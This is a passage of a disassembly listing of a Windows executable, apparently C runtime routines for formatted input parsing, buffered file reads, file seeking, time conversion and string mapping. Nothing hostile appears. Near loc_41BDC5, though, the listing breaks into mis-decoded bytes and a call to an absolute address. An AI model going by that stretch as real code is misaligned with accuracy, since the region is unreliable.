					; sub_41AD3D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B6F1
; ---------------------------------------------------------------------------


loc_41B6AF:				; CODE XREF: sub_41AD3D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B71E
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B6F1
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B72C
		dec	[ebp+var_4]


loc_41B6F1:				; CODE XREF: sub_41AD3D+970j
					; sub_41AD3D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B707
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B749
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B749
		mov	esi, eax


loc_41B707:				; CODE XREF: sub_41AD3D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41AD67
		jmp	short loc_41B743
; ---------------------------------------------------------------------------


loc_41B713:				; CODE XREF: sub_41AD3D+1F4j
					; sub_41AD3D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B723
; ---------------------------------------------------------------------------


loc_41B71E:				; CODE XREF: sub_41AD3D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41B723:				; CODE XREF: sub_41AD3D+9DFj
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		jmp	short loc_41B743
; ---------------------------------------------------------------------------


loc_41B72C:				; CODE XREF: sub_41AD3D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		add	esp, 10h


loc_41B743:				; CODE XREF: sub_41AD3D+1Fj
					; sub_41AD3D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B75A


loc_41B749:				; CODE XREF: sub_41AD3D+9BDj
					; sub_41AD3D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B75D
		cmp	[ebp+var_15], al
		jnz	short loc_41B75D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B75D
; ---------------------------------------------------------------------------


loc_41B75A:				; CODE XREF: sub_41AD3D+A0Aj
		mov	eax, [ebp+var_34]


loc_41B75D:				; CODE XREF: sub_41AD3D+A11j
					; sub_41AD3D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B762	proc near		; CODE XREF: sub_41AD3D+7A3p
					; sub_41AD3D+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_437F6C, 1
		push	esi
		jle	short loc_41B77C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------


loc_41B77C:				; CODE XREF: sub_41B762+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_437D60
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B78B:				; CODE XREF: sub_41B762+18j
		test	eax, eax
		jnz	short loc_41B795
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41B795:				; CODE XREF: sub_41B762+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B762	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B799	proc near		; CODE XREF: sub_41AD3D+1E1p
					; sub_41AD3D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B7AB
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41B7AB:				; CODE XREF: sub_41B799+7j
		push	edx
		call	sub_41B8B0
		pop	ecx
		retn
sub_41B799	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7B3	proc near		; CODE XREF: sub_41AD3D+6Bp
					; sub_41AD3D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B7C9
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E0DF
		pop	ecx
		pop	ecx

locret_41B7C9:				; CODE XREF: sub_41B7B3+5j
		retn
sub_41B7B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7CA	proc near		; CODE XREF: sub_41AD3D+63p
					; sub_41AD3D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41B7D0:				; CODE XREF: sub_41B7CA+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B799
		mov	edi, eax
		push	edi
		call	sub_41E095
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7D0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B7CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7EE	proc near		; CODE XREF: seg000:00416B9Dp

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B8AA
		cmp	ebx, 8Ah
		jg	loc_41B8AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_4387F4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B82D
		cmp	edi, 2
		jle	short loc_41B82D
		inc	esi


loc_41B82D:				; CODE XREF: sub_41B7EE+37j
					; sub_41B7EE+3Cj
		call	sub_41E14D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_438710
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B8A0
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B8A6
		cmp	ds:dword_438714, 0
		jz	short loc_41B8A6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E3C0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B8A6


loc_41B8A0:				; CODE XREF: sub_41B7EE+90j
		add	ecx, ds:dword_438718


loc_41B8A6:				; CODE XREF: sub_41B7EE+96j
					; sub_41B7EE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B8AD
; ---------------------------------------------------------------------------


loc_41B8AA:				; CODE XREF: sub_41B7EE+13j
					; sub_41B7EE+1Fj
		or	eax, 0FFFFFFFFh


loc_41B8AD:				; CODE XREF: sub_41B7EE+BAj
		pop	ebx
		leave
		retn
sub_41B7EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8B0	proc near		; CODE XREF: sub_416BB0+A9p
					; sub_41713C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B984
		test	al, 40h
		jnz	loc_41B984
		test	al, 2
		jz	short loc_41B8D6
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B984
; ---------------------------------------------------------------------------


loc_41B8D6:				; CODE XREF: sub_41B8B0+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B8EA
		push	esi
		call	sub_41D06C
		pop	ecx
		jmp	short loc_41B8EF
; ---------------------------------------------------------------------------


loc_41B8EA:				; CODE XREF: sub_41B8B0+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41B8EF:				; CODE XREF: sub_41B8B0+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B973
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B973
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B948
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B931
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_46A7A0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B936
; ---------------------------------------------------------------------------


loc_41B931:				; CODE XREF: sub_41B8B0+6Bj
		mov	edi, offset dword_4383C0


loc_41B936:				; CODE XREF: sub_41B8B0+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B948
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41B948:				; CODE XREF: sub_41B8B0+62j
					; sub_41B8B0+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B965
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B965
		test	ch, 4
		jnz	short loc_41B965
		mov	dword ptr [esi+18h], 1000h


loc_41B965:				; CODE XREF: sub_41B8B0+9Fj
					; sub_41B8B0+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B8B0+55j
					; sub_41B8B0+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41B984:				; CODE XREF: sub_41B8B0+Aj
					; sub_41B8B0+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B8B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B989	proc near		; CODE XREF: sub_416BB0+90p
					; sub_41B8B0+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_46A8A0
		jnb	loc_41BB66
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46A7A0h[eax*4]
		mov	eax, ds:dword_46A7A0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41BB66
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41BA3E
		test	dl, 2
		jnz	short loc_41BA3E
		test	dl, 48h
		jz	short loc_41B9FE
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B9FE
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41B9FE:				; CODE XREF: sub_41B989+56j
					; sub_41B989+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BA51
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41BA39
		mov	ds:dword_469484, 9
		mov	ds:dword_469488, ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------


loc_41BA39:				; CODE XREF: sub_41B989+99j
		cmp	eax, 6Dh
		jnz	short loc_41BA45


loc_41BA3E:				; CODE XREF: sub_41B989+4Cj
					; sub_41B989+51j
		xor	eax, eax
		jmp	loc_41BB7A
; ---------------------------------------------------------------------------


loc_41BA45:				; CODE XREF: sub_41B989+B3j
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------


loc_41BA51:				; CODE XREF: sub_41B989+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41BB61
		test	edx, edx
		jz	short loc_41BA76
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41BA76
		or	al, 4
		jmp	short loc_41BA78
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41B989+E2j
					; sub_41B989+E7j
		and	al, 0FBh


loc_41BA78:				; CODE XREF: sub_41B989+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41BB5B


loc_41BA90:				; CODE XREF: sub_41B989+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41BB4B
		cmp	al, 0Dh
		jz	short loc_41BAAC
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BAAC:				; CODE XREF: sub_41B989+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41BACA
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BAC1
		add	[ebp+arg_8], 2
		jmp	short loc_41BB1F
; ---------------------------------------------------------------------------


loc_41BAC1:				; CODE XREF: sub_41B989+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BACA:				; CODE XREF: sub_41B989+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BAF2
		call	ds:dword_421088	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41BB39


loc_41BAF2:				; CODE XREF: sub_41B989+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41BB39
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41BB14
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41BB1F
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB14:				; CODE XREF: sub_41B989+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41BB24
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41BB24


loc_41BB1F:				; CODE XREF: sub_41B989+136j
					; sub_41B989+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41BB3C
; ---------------------------------------------------------------------------


loc_41BB24:				; CODE XREF: sub_41B989+18Ej
					; sub_41B989+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41BB3D


loc_41BB39:				; CODE XREF: sub_41B989+167j
					; sub_41B989+16Dj
		mov	byte ptr [edi],	0Dh


loc_41BB3C:				; CODE XREF: sub_41B989+199j
		inc	edi


loc_41BB3D:				; CODE XREF: sub_41B989+11Ej
					; sub_41B989+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41BA90
		jmp	short loc_41BB5B
; ---------------------------------------------------------------------------


loc_41BB4B:				; CODE XREF: sub_41B989+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41BB5B
		or	al, 2
		mov	[esi], al


loc_41BB5B:				; CODE XREF: sub_41B989+101j
					; sub_41B989+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41BB61:				; CODE XREF: sub_41B989+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BB7A
; ---------------------------------------------------------------------------


loc_41BB66:				; CODE XREF: sub_41B989+12j
					; sub_41B989+39j
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 9


loc_41BB77:				; CODE XREF: sub_41B989+ABj
					; sub_41B989+C3j
		or	eax, 0FFFFFFFFh


loc_41BB7A:				; CODE XREF: sub_41B989+B7j
					; sub_41B989+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B989	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB7F	proc near		; CODE XREF: sub_416E3E+67p
					; sub_417C37+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_46A8A0
		push	esi
		push	edi
		jnb	short loc_41BC01
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BC01
		push	eax
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BBC3
		mov	ds:dword_469484, 9
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------


loc_41BBC3:				; CODE XREF: sub_41BB7F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_4210AC	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BBE3
		call	ds:dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41BBE5
; ---------------------------------------------------------------------------


loc_41BBE3:				; CODE XREF: sub_41BB7F+5Aj
		xor	eax, eax


loc_41BBE5:				; CODE XREF: sub_41BB7F+62j
		test	eax, eax
		jz	short loc_41BBF2
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------


loc_41BBF2:				; CODE XREF: sub_41BB7F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BC15
; ---------------------------------------------------------------------------


loc_41BC01:				; CODE XREF: sub_41BB7F+Dj
					; sub_41BB7F+2Aj
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 9


loc_41BC12:				; CODE XREF: sub_41BB7F+42j
					; sub_41BB7F+71j
		or	eax, 0FFFFFFFFh


loc_41BC15:				; CODE XREF: sub_41BB7F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BB7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC19	proc near		; CODE XREF: sub_416E3E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BC35
		mov	[edi+4], ebx


loc_41BC35:				; CODE XREF: sub_41BC19+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BCA3
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BC5A
		sub	eax, [edi+4]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------


loc_41BC5A:				; CODE XREF: sub_41BC19+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BC94
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_46A7A0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BCAB
		mov	edx, ecx


loc_41BC85:				; CODE XREF: sub_41BC19+79j
		cmp	edx, eax
		jnb	short loc_41BCAB
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BC91
		inc	[ebp+var_8]


loc_41BC91:				; CODE XREF: sub_41BC19+73j
		inc	edx
		jmp	short loc_41BC85
; ---------------------------------------------------------------------------


loc_41BC94:				; CODE XREF: sub_41BC19+50j
		test	dl, 80h
		jnz	short loc_41BCAB
		mov	ds:dword_469484, 16h


loc_41BCA3:				; CODE XREF: sub_41BC19+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------


loc_41BCAB:				; CODE XREF: sub_41BC19+68j
					; sub_41BC19+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BCB9
		mov	eax, [ebp+var_8]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------


loc_41BCB9:				; CODE XREF: sub_41BC19+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BD64
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BCD2
		and	[ebp+var_8], edx
		jmp	loc_41BD64
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC19+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BD5E
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BD25
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41BD10:				; CODE XREF: sub_41BC19+104j
		cmp	eax, ecx
		jnb	short loc_41BD1F
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BD1C
		inc	[ebp+arg_0]


loc_41BD1C:				; CODE XREF: sub_41BC19+FEj
		inc	eax
		jmp	short loc_41BD10
; ---------------------------------------------------------------------------


loc_41BD1F:				; CODE XREF: sub_41BC19+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BD59
; ---------------------------------------------------------------------------


loc_41BD25:				; CODE XREF: sub_41BC19+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BB7F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BD4C
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BD4C
		test	ch, 4
		jz	short loc_41BD4F


loc_41BD4C:				; CODE XREF: sub_41BC19+124j
					; sub_41BC19+12Cj
		mov	eax, [edi+18h]


loc_41BD4F:				; CODE XREF: sub_41BC19+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41BD59:				; CODE XREF: sub_41BC19+10Aj
		jz	short loc_41BD5E


loc_41BD5B:				; CODE XREF: seg000:0041BDD4j
		inc	[ebp+arg_0]


loc_41BD5E:				; CODE XREF: sub_41BC19+D9j
					; sub_41BC19:loc_41BD59j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41BD64:				; CODE XREF: sub_41BC19+A4j
					; sub_41BC19+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41BD6C:				; CODE XREF: sub_41BC19+3Cj
					; sub_41BC19+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC19	endp

; ---------------------------------------------------------------------------


loc_41BD71:				; CODE XREF: sub_417193+A3p
					; sub_41AC71+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421878
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_46950C, edi
		jnz	short loc_41BDE7
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_421870
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BDC5
		mov	ds:dword_46950C, ebx
		jmp	short loc_41BDE7
; ---------------------------------------------------------------------------


loc_41BDC5:				; CODE XREF: seg000:0041BDBBj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438FC4
		push	esi
		push	edi
		call	near ptr 0A80000h
		jecxz	short loc_41BD5B
		ror	byte ptr [edi],	84h
		and	al, [ecx]
; ---------------------------------------------------------------------------
		db 0
		dd 0C05C700h, 2004695h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: seg000:0041BD9Fj
					; seg000:0041BDC3j
		cmp	[ebp+14h], edi
		jle	short loc_41BDFC
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_41BDFC:				; CODE XREF: seg000:0041BDEAj
		mov	eax, ds:dword_46950C
		cmp	eax, 2
		jnz	short loc_41BE23
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0A80000h
		pop	ecx
		jmp	loc_41BF01
; ---------------------------------------------------------------------------


loc_41BE23:				; CODE XREF: seg000:0041BE04j
		cmp	eax, 1
		jnz	loc_41BEFF
		cmp	[ebp+20h], edi
		jnz	short loc_41BE39
		mov	eax, ds:dword_469528
		mov	[ebp+20h], eax


loc_41BE39:				; CODE XREF: seg000:0041BE2Fj
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_421064	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_41BEFF
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41BE94
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_41BE94:				; CODE XREF: seg000:0041BE7Fj
		cmp	[ebp-24h], edi
		jz	short loc_41BEFF
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41BEFF
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_41BEFF
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_41BF13
		cmp	[ebp+1Ch], edi
		jz	loc_41BF8E
		cmp	esi, [ebp+1Ch]
		jg	short loc_41BEFF
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190	; LCMapStringW
		test	eax, eax
		jnz	loc_41BF8E


loc_41BEFF:				; CODE XREF: seg000:0041BE26j
					; seg000:0041BE5Dj ...
		xor	eax, eax


loc_41BF01:				; CODE XREF: seg000:0041BE1Ej
					; seg000:0041BF90j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
